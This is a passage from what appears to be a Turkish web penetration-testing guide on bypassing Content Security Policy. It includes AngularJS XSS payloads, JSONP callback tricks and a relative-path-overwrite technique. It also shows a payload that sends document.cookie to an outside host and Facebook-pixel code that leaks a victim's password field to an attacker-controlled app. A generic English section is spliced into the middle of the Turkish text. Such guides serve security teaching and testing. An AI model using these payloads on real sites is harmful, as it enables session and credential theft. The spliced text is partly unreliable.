{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) bulunabilir:
```html
![](x)
```
**www.google.com'un açık yönlendirmesi için kötüye kullanım**
Aşağıdaki URL, örnek.com'a yönlendirme yapar (buradan [buraya](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
#### Üçüncü Taraf Uç Noktaları + JSONP
\*.google.com/script.google.com kötüye kullanımı
Google Apps Script kötüye kullanılarak script.google.com içinde bir sayfada bilgi almak mümkündür. Bu [raporda olduğu gibi](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapılmıştır.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Belirli alan adı beyaz listesine alınmış olan senaryolarda `script-src`nin `self` ve belirli bir alan adı olarak ayarlandığı durumlar JSONP kullanılarak atlatılabilir. JSONP uç noktaları güvensiz geri çağırma yöntemlerine izin verir ve saldırganın XSS gerçekleştirmesine olanak tanır, çalışan yük:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP atlatmasına hazır JSONP uç noktaları içerir.**
Aynı zafiyet, **güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** meydana gelecektir çünkü başlangıç uç noktası güvenilirse, yönlendirmeler güvenilir olacaktır.
#### Üçüncü Taraf Kötüye Kullanımlar
[şu yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerlerde izin verilmiş olan birçok üçüncü taraf alanı, ya veri sızdırmak ya da JavaScript kodu yürütmek için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır:
| Kuruluş | İzin Verilen Alanlar | Yetenekler |
| ----------------- | -------------------------------------------- | ----------------- |
| Facebook | www.facebook.com, \*.facebook.com | Sızdırma |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Sızdırma |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Yürütme |
| Amazon CloudFront | \*.cloudfront.net | Sızdırma, Yürütme |
| Amazon AWS | \*.amazonaws.com | Sızdırma, Yürütme |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Sızdırma, Yürütme |
| Salesforce Heroku | \*.herokuapp.com | Sızdırma, Yürütme |
| Google Firebase | \*.firebaseapp.com | Sızdırma, Yürütme |
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, büyük ihtimalle üçüncü taraf hizmetine kaydolarak CSP'yi atlayabilir ve ya veriyi o hizmete sızdırabilir ya da kodu yürütebilirsiniz.
Örneğin, aşağıdaki CSP'yi bulursanız:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
## Content Security Policy (CSP) Bypass
### Introduction
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can lead to security vulnerabilities.
### Bypass Techniques
#### 1. Inline Script Bypass
When CSP is configured to block inline scripts (`'unsafe-inline'`), attackers can bypass this restriction by using techniques like **nonce-based bypass**, **hash-based bypass**, or **tricking the CSP**.
#### 2. External Script Bypass
If CSP is configured to only allow scripts from specific domains, attackers can bypass this restriction by **hosting malicious scripts on allowed domains**, **using subdomains**, or **exploiting misconfigured whitelists**.
#### 3. Script-src Bypass
Attackers can bypass CSP by **injecting scripts using other directives** like `connect-src`, `img-src`, or `style-src`.
### Conclusion
Understanding how CSP works and the potential bypass techniques is crucial for security professionals to effectively protect web applications from attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities.
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. [Burada](https://developers.facebook.com/) bir Facebook Geliştirici hesabı oluşturun.
2. Yeni bir "Facebook Giriş" uygulaması oluşturun ve "Website" seçeneğini seçin.
3. "Ayarlar -> Temel"e gidin ve "Uygulama Kimliği"nizi alın.
4. Veri sızdırmak istediğiniz hedef sitede, Facebook SDK cihazı "fbq" ve "customEvent" ile veri yükünü doğrudan kullanarak veri sızdırabilirsiniz.
5. Uygulama "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin URL'si şuna benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görebilirsiniz.
Ardından, kurban tarafında, aşağıdaki kodu yürüterek Facebook takip pikselini başlatın ve saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden özel bir etkinlik oluşturun:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
#### Önceki tabloda belirtilen diğer yedi üçüncü taraf etki alanı için, bunları kötüye kullanabileceğiniz birçok başka yol vardır. Diğer üçüncü taraf kötüye kullanımlar hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) başvurun.
#### RPO (Relative Path Overwrite) Aracılığıyla Atlatma
Yukarıda bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilen Relative Path Overwrite (RPO) adlı başka bir teknik bulunmaktadır.
Örneğin, CSP'nin `https://example.com/scripts/react/` yoluna izin verdiği durumda, aşağıdaki gibi atlatılabilir:
```html
```
Tarayıcı sonunda `https://example.com/scripts/angular/angular.js` adresini yükleyecektir.
Bu, tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklediğiniz anlamına gelir ve bu, CSP'ye uygundur.
Sonuç olarak, tarayıcı bunu çözecek ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` adresini isteyecektir, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığını sömürerek, yol kuralları atlatılabilir**.
Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememektir, böylece tarayıcı ve sunucu arasında tutarlı yorumlama sağlanarak bu sorundan kaçınılır.
Çevrimiçi Örnek: [https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
#### İframe'lerde JS yürütme
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
#### eksik **base-uri**
Eğer **base-uri** yönergesi eksikse, bunu kötüye kullanarak [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirebilirsiniz.
Ayrıca, **sayfa bir Nonce kullanarak bir göreli yol** (örneğin `
ng-app"ng-csp ng-click=$event.view.alert(1337)>